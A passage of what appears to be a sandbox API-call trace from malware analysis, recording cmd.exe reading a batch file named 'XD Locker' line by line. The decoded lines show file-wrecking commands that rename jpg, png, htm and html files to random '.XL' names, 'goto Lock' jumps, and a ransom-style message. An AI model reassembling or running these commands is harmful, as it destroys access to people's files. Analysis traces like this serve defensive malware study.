_get_osfhandle (_FileHandle=3) returned 0x74 [0040.308] GetFileType (hFile=0x74) returned 0x1 [0040.308] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x142e [0040.308] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.308] SetFilePointer (in: hFile=0x74, lDistanceToMove=5168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1430 [0040.308] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\npg\r\n") returned 2 [0040.308] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.308] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1430 [0040.308] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.308] GetFileType (hFile=0x74) returned 0x1 [0040.308] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1430 [0040.308] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.308] SetFilePointer (in: hFile=0x74, lDistanceToMove=5194, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x144a [0040.308] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.jpg %RANDOM%.XL\r\n") returned 26 [0040.308] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.308] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x144a [0040.308] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.308] GetFileType (hFile=0x74) returned 0x1 [0040.309] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x144a [0040.309] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.309] SetFilePointer (in: hFile=0x74, lDistanceToMove=5205, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1455 [0040.309] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n") returned 11 [0040.309] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.309] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1455 [0040.309] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.309] GetFileType (hFile=0x74) returned 0x1 [0040.309] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1455 [0040.309] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.309] SetFilePointer (in: hFile=0x74, lDistanceToMove=5207, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1457 [0040.309] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.309] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.309] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1457 [0040.309] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.309] GetFileType (hFile=0x74) returned 0x1 [0040.309] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1457 [0040.309] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.310] SetFilePointer (in: hFile=0x74, lDistanceToMove=5213, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x145d [0040.310] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":png\r\nock\r\n") returned 6 [0040.310] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.310] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x145d [0040.310] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.310] GetFileType (hFile=0x74) returned 0x1 [0040.310] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x145d [0040.310] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.310] SetFilePointer (in: hFile=0x74, lDistanceToMove=5215, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x145f [0040.310] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nng\r\n") returned 2 [0040.310] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.310] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x145f [0040.310] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.310] GetFileType (hFile=0x74) returned 0x1 [0040.310] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x145f [0040.310] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.310] SetFilePointer (in: hFile=0x74, lDistanceToMove=5241, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1479 [0040.311] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.png %RANDOM%.XL\r\n") returned 26 [0040.311] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.311] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1479 [0040.311] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.311] GetFileType (hFile=0x74) returned 0x1 [0040.311] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1479 [0040.311] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.311] SetFilePointer (in: hFile=0x74, lDistanceToMove=5252, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1484 [0040.311] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n") returned 11 [0040.311] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.311] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1484 [0040.311] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.311] GetFileType (hFile=0x74) returned 0x1 [0040.311] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1484 [0040.311] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.311] SetFilePointer (in: hFile=0x74, lDistanceToMove=5254, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1486 [0040.311] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.311] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.311] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1486 [0040.312] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.312] GetFileType (hFile=0x74) returned 0x1 [0040.312] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1486 [0040.312] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.312] SetFilePointer (in: hFile=0x74, lDistanceToMove=5260, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x148c [0040.312] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":htm\r\nock\r\n") returned 6 [0040.312] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.312] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x148c [0040.312] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.312] GetFileType (hFile=0x74) returned 0x1 [0040.312] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x148c [0040.312] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.312] SetFilePointer (in: hFile=0x74, lDistanceToMove=5262, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x148e [0040.312] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntm\r\n") returned 2 [0040.312] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.312] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x148e [0040.312] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.312] GetFileType (hFile=0x74) returned 0x1 [0040.313] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x148e [0040.313] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.313] SetFilePointer (in: hFile=0x74, lDistanceToMove=5288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14a8 [0040.313] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.htm %RANDOM%.XL\r\n") returned 26 [0040.313] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.313] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14a8 [0040.313] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.313] GetFileType (hFile=0x74) returned 0x1 [0040.313] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14a8 [0040.313] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.313] SetFilePointer (in: hFile=0x74, lDistanceToMove=5299, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14b3 [0040.313] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nm %RANDOM%.XL\r\n") returned 11 [0040.313] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.313] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14b3 [0040.313] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.313] GetFileType (hFile=0x74) returned 0x1 [0040.313] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14b3 [0040.313] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.314] SetFilePointer (in: hFile=0x74, lDistanceToMove=5301, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14b5 [0040.314] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.314] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.314] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14b5 [0040.314] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.314] GetFileType (hFile=0x74) returned 0x1 [0040.314] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14b5 [0040.314] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.314] SetFilePointer (in: hFile=0x74, lDistanceToMove=5308, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14bc [0040.314] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":html\r\nck\r\n") returned 7 [0040.314] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.314] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14bc [0040.314] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.314] GetFileType (hFile=0x74) returned 0x1 [0040.314] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14bc [0040.314] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.314] SetFilePointer (in: hFile=0x74, lDistanceToMove=5310, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14be [0040.315] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntml\r\n") returned 2 [0040.315] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.315] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14be [0040.315] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.315] GetFileType (hFile=0x74) returned 0x1 [0040.315] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14be [0040.315] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.315] SetFilePointer (in: hFile=0x74, lDistanceToMove=5337, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14d9 [0040.315] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.html %RANDOM%.XL\r\n") returned 27 [0040.315] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.315] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14d9 [0040.315] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.315] GetFileType (hFile=0x74) returned 0x1 [0040.315] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14d9 [0040.315] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.315] SetFilePointer (in: hFile=0x74, lDistanceToMove=5348, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14e4 [0040.315] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nml %RANDOM%.XL\r\n") returned 11 [0040.315] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.315] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14e4 [0040.316] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.316] GetFileType (hFile=0x74) returned 0x1 [0040.316] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14e4 [0040.316] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.316] SetFilePointer (in: hFile=0x74, lDistanceToMove=5353, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14e9 [0040.316] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=5, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":l2\r\nLock\r\n") returned 5 [0040.316] _close (_FileHandle=3) returned 0 [0040.316] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.316] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.317] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.317] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.317] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.317] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.317] SetConsoleInputExeNameW () returned 0x1 [0040.317] GetConsoleOutputCP () returned 0x1b5 [0040.317] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.317] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.318] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.318] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.318] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.318] SetFilePointer (in: hFile=0x74, lDistanceToMove=5353, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14e9 [0040.318] GetProcessHeap () returned 0x4e0000 [0040.318] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0040.318] GetProcessHeap () returned 0x4e0000 [0040.318] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4560 | out: hHeap=0x4e0000) returned 1 [0040.318] GetProcessHeap () returned 0x4e0000 [0040.318] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4548 | out: hHeap=0x4e0000) returned 1 [0040.318] GetProcessHeap () returned 0x4e0000 [0040.318] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.318] GetProcessHeap () returned 0x4e0000 [0040.318] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e27c0 | out: hHeap=0x4e0000) returned 1 [0040.318] GetProcessHeap () returned 0x4e0000 [0040.318] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.318] GetProcessHeap () returned 0x4e0000 [0040.318] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.318] GetProcessHeap () returned 0x4e0000 [0040.318] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.318] GetProcessHeap () returned 0x4e0000 [0040.319] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.319] GetProcessHeap () returned 0x4e0000 [0040.319] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4530 | out: hHeap=0x4e0000) returned 1 [0040.319] GetProcessHeap () returned 0x4e0000 [0040.319] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.319] GetProcessHeap () returned 0x4e0000 [0040.319] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.319] GetProcessHeap () returned 0x4e0000 [0040.319] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.319] GetProcessHeap () returned 0x4e0000 [0040.319] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.319] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.319] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14e9 [0040.319] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1144, lpOverlapped=0x0) returned 1 [0040.319] SetFilePointer (in: hFile=0x74, lDistanceToMove=5409, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1521 [0040.319] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=56, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="msg * Ooops your file have been encryoted by XD Locker\r\n") returned 56 [0040.319] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.319] GetFileType (hFile=0x74) returned 0x1 [0040.319] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.319] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1521 [0040.320] GetProcessHeap () returned 0x4e0000 [0040.320] RtlAllocateHeap 